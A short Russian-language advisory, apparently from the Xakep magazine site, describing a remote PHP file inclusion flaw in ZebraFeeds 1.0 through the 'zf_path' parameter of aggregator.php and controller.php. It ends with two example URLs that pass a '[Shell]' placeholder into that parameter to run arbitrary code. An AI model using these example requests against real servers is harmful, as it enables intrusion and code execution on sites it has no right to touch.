PHP-инклюдинг в ZebraFeeds

Рекомендуем почитать:

Хакер #311. Сетевые протоколы под микроскопом

• Содержание выпуска
• Подписка на «Хакер»-60%

Программа: ZebraFeeds 1.0 

Уязвимость позволяет удаленному пользователю выполнить произвольный PHP сценарий на целевой системе.
Уязвимость существует из-за недостаточной обработки входных данных в параметре «zf_path» сценариями aggregator.php и controller.php. Удаленный пользователь может выполнить произвольный PHP сценарий на целевой системе с привилегиями Web сервера. 

Пример:

http://www.SitE.com/newsfeeds/includes/aggregator.php?zf_path=[Shell]
http://www.SitE.com/newsfeeds/includes/controller.php?zf_path=[Shell]